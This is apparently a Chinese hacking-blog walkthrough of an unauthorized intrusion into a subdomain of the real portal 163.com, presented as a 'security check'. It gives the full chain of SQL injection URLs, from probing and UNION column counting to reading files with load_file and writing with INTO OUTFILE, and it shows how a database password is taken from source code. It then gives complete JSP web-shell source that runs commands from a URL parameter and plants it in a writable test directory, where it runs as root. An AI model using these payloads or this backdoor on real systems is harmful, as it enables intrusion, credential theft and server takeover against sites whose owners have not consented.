BY 劍心[B.C.T]
轉載注明出處
163.com是國內一家比較出名的門(mén)戶(hù)網(wǎng)站,提供包括郵箱等等在內的各種服務(wù),這樣繁多的服務(wù),不知道會(huì )不會(huì )在哪些地方存在漏洞哦!正好最近學(xué)習了一些注入知識就想對這些門(mén)戶(hù)網(wǎng)站做點(diǎn)小小的安全檢測,不知道他們的腳本像不像他們名聲一樣那么厲害哦!
廢話(huà)就不說(shuō)了,我們就去找那些傳遞參數的頁(yè)面看看會(huì )不會(huì )不小心有那么一個(gè)參數沒(méi)有過(guò)濾,那么我們就有空子可以鉆了哦!網(wǎng)易的腳本基本上是采取的jsp和 Php的形式,主站看樣子是靜態(tài)的,就不說(shuō)了,其他的站那么多的jsp和php應該有問(wèn)題吧!Php注入也被人研究爛了,注入的時(shí)候被Php的那個(gè)特性攔著(zhù)也相當的不舒服,所以干脆就去找jsp的腳本,希望能找到一些沒(méi)有過(guò)濾的參數。找了能打兩把CS的工夫還真讓我找到一個(gè)頁(yè)面
http://XXX.163.com/wap/content.jsp?id=120,哈哈,看來(lái)是個(gè)數字類(lèi)型的變量哦!就喜歡沒(méi)有過(guò)濾的數字類(lèi)型變量,因為如果能注入的話(huà)基本上沒(méi)有什么阻礙!我們來(lái)看看能不能注入吧!提交:http://XXX.163.com/wap/content.jsp?id=120 and 1=1
返回正常哦,如圖1
接著(zhù)提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2
返回一堆的jsp錯誤,如圖2,
還搞到了web的路徑,幸福!通過(guò)路徑我們還知道這個(gè)系統是Linux類(lèi)系統哦。
根據上面的兩個(gè)推測很有可能這就是一個(gè)注入點(diǎn)啦!因為我們提交的and 1=1和and 1=2被當作Sql代碼執行啦!如果參數沒(méi)有做其他過(guò)濾的話(huà),我們就可以在這里提交我們的注入代碼啦!那么繼續看看吧!因為jsp可以和很多數據庫搭配,所以這里我們還是先來(lái)看看是什么數據庫吧!提交:
http://XXX.163.com/wap/content.jsp?id=120/*劍心
返回結果如圖3
,看來(lái)是支持/*注釋了,支持/*注釋的在這里就應該是mysql數據庫了!既然知道了是mysql數據庫,那么就來(lái)看看系統的版本吧,如果在4.0以上對猜表和注入是很有幫助的哦!提交:
http://XXX.163.com/wap/content.jsp?id=120 and ord(mid(version(),1,1))>51/*
返回正常的結果,看來(lái)是大于4.0版本的啦,也就是支持union查詢(xún)的啦!因為這里語(yǔ)句的作用是取出版本的第一個(gè)字符,是大于3的,其中51是3的ASCII字符!既然支持union查詢(xún)我們就開(kāi)看看字段的個(gè)數吧!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1/*
返回錯誤如圖4
繼續提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2/*
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3/*
……
到
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10/*的時(shí)候返回正常結果如圖5
,看來(lái)是10個(gè)字段并且哪些字段會(huì )在頁(yè)面顯示也出來(lái)了!嘿嘿,現在能union查詢(xún)了,就總的看下數據庫的信息吧!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,version()/*
返回結果如圖6
,我們知道了數據庫名字以及用戶(hù)連接的名字以及數據庫具體版本了哦!那么下一步該怎么做呢?看看用戶(hù)那么特殊,這個(gè)用戶(hù)很可能是管理員之類(lèi)的角色哦!還是先看看權限夠不夠大,關(guān)鍵是能不能讀寫(xiě)文件!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,10 into outfile ‘/tmp/jnc.txt‘/*
嘿嘿,注意這里跟Php的注入不同,jsp不會(huì )對提交的任何字符做轉義處理哦!所以我們放心的提交就行了,從上面的例子中我們大約知道系統是Linux類(lèi)的,所以寫(xiě)文件到/tmp/jnc.txt中,這個(gè)目錄一般都是可寫(xiě)的。然后再提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file(‘/tmp/jnc.txt‘)/*
分別返回如圖7
圖8
,看來(lái)是寫(xiě)文件和讀文件都成功了!有File權限哦,在jsp環(huán)境下不受php下那種特性的影響可以在權限允許的范圍之內隨便寫(xiě)文件!既然權限有了,來(lái)判斷下web和Mysql服務(wù)器是不是一個(gè)主機吧,是的話(huà)又可以免去猜測密碼的痛苦了!web路徑出來(lái)了那么我們就讀web服務(wù)器上存在的文件,如果存在的話(huà)就應該是一個(gè)主機啦!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file(‘/home/project/web163/web/content.jsp‘)/*
讀取我們的content.jsp,哈哈,如圖9
,成功返回啦!然后再讀了幾個(gè)文件都成功返回,說(shuō)明是一個(gè)服務(wù)器哦!既然這樣就客氣啦!繼續讀吧!我們感興趣的東西當然是密碼了!查看剛才返回的源文件,我們發(fā)現里面包含了Function.jsp,于是去讀Function.jsp的內容,提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file(‘/home/project/web163/web/function.jsp‘)/*
返回結果如圖10
,哈哈,看源文件得到了密碼哦!得到了密碼我們就去連接試試吧!打開(kāi)自己的Mysql客戶(hù)端連接上去,輸入得到的密碼結果如圖11
Mysql拒絕了其他IP的登陸!雖然不能連Mysql但是我們不是已經(jīng)有個(gè)注入點(diǎn)了么?還能寫(xiě)文件和讀文件呢,那么就、從腳本上繼續前進(jìn)吧!
既然知道了web路徑,又能寫(xiě)文件,那么能不能用into outfile導出一個(gè)webshell呢?試試吧!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 into outfile ‘/home/project/web163/web/jnc.jsp‘/*
但是結果很另人郁悶,寫(xiě)到/tmp/下就好用,寫(xiě)到web目錄下不行,試了很多次都是這個(gè)結果,看來(lái)是權限的原因了!Linux很大的一個(gè)優(yōu)點(diǎn)就是權限設置得很好,默認只有創(chuàng )建者才有權限修改文件,我們用的用戶(hù)是Mysql的,當然不能在apache的目錄下建立文件了!到這里入侵遇到了第一個(gè)阻礙,并且暫時(shí)沒(méi)有辦法解決!
我們是搞腳本安全的,一條路不行就還是回到腳本上來(lái)吧!去根目錄加了個(gè)/admin提示403Forbiden錯誤,哈哈,這個(gè)是管理目錄了!于是興沖沖的提交login.jsp和login.html以及所有我覺(jué)得可能的后臺登陸文件,但服務(wù)器都無(wú)情的給我一個(gè)404錯誤,那個(gè)郁悶喲!想從其他的后臺得到點(diǎn)啟示,猜測出后臺的登陸路徑,但是還是找不到后臺的登陸文件,這條路也死在這里了!
到這里應該停下來(lái)想想了!聽(tīng)了會(huì )周杰倫的歌,忽然想到,Linux服務(wù)器本身是很安全的,但是不知道會(huì )不會(huì )存在人為的安全漏洞呢?我在一些其他的大點(diǎn)的網(wǎng)站上經(jīng)??吹匠艘恍┏S玫哪夸浿?,管理員還設置了test目錄方便其他管理員調試腳本,并且這個(gè)目錄的權限通常是設置成777的,也就是說(shuō)Everyone可讀可寫(xiě)的,如果存在這樣的目錄的話(huà)就......馬上去網(wǎng)站上提交:
http://XXX.163.com/test/
404不存在
http://XXX.163.com/wap/test/
403 Forbidden,哈哈,真是CS暴頭的感覺(jué),居然存在??!馬上去提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 into outfile ‘/home/project/web163/web/test/jnc.txt‘/*
等到返回錯誤的時(shí)候去訪(fǎng)問(wèn)
http://XXX.163.com/wap/test/jnc.txt如圖12,哈哈,存在??!看來(lái)真讓我發(fā)現一個(gè)人為的安全隱患??!這就是經(jīng)驗了!好了,可以導出為txt文件,那么導出成Php文件如何呢?去寫(xiě)了一個(gè)一句話(huà)木馬導出成php文件,訪(fǎng)問(wèn)這個(gè)Php文件居然提示下載,看來(lái)web目錄只支持jsp后綴的啦,那么我們只能導出成jsp文件了!于是馬上去找jsp后門(mén),找來(lái)找去找到個(gè)最短的如下:
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
就是能執行個(gè)命令,執行形式是在Url里訪(fǎng)問(wèn)jnc.jsp?cmd=命令,因為我們是用into outfile導文件并且是在union查詢(xún)里用的,所以要導出的內容必須在union的最后面,否則是不能得到我們結果的哦,在導之前我們還要將jsp 的語(yǔ)句寫(xiě)到一行,不影響jsp的執行但是方便我們導出嘛!再看看,發(fā)現字符好象太長(cháng),Get可能滿(mǎn)足不了要求,于是干脆自己寫(xiě)個(gè)Html吧!內容如下:
<form action=http://XXX.163.com/wap/content.jsp method=post>
<input name=id type=text size=1000>
<input type=submit>
</form>
然后提交欄里寫(xiě)上:
120 and 1=2 union select 1,2,3,4,5,6,7,8,9,‘寫(xiě)在一行的木馬語(yǔ)句‘ into outfile ‘/home/project/web163/web/test/jnc.jsp‘/*,如圖13
,點(diǎn)提交之后我們去test目錄看看,哈哈,我們的木馬真的存在啦!提交:
http://XXX.163.com/wap/test/jsp3.jsp?cmd=id
返回結果如圖14
,哈哈居然是用Root啟動(dòng)的,權限是最大的啦!省得我們提權了!到此,對163.com的一次安全檢測結束了!
通過(guò)上面的例子我們可以看到,盡管是小小的一個(gè)參數沒(méi)有過(guò)濾,加上一些其他的安全原因,導致的結果可能就是服務(wù)器的淪陷,不僅僅是163.com的管理員要注意這個(gè),希望所有的管理員都注意這個(gè)。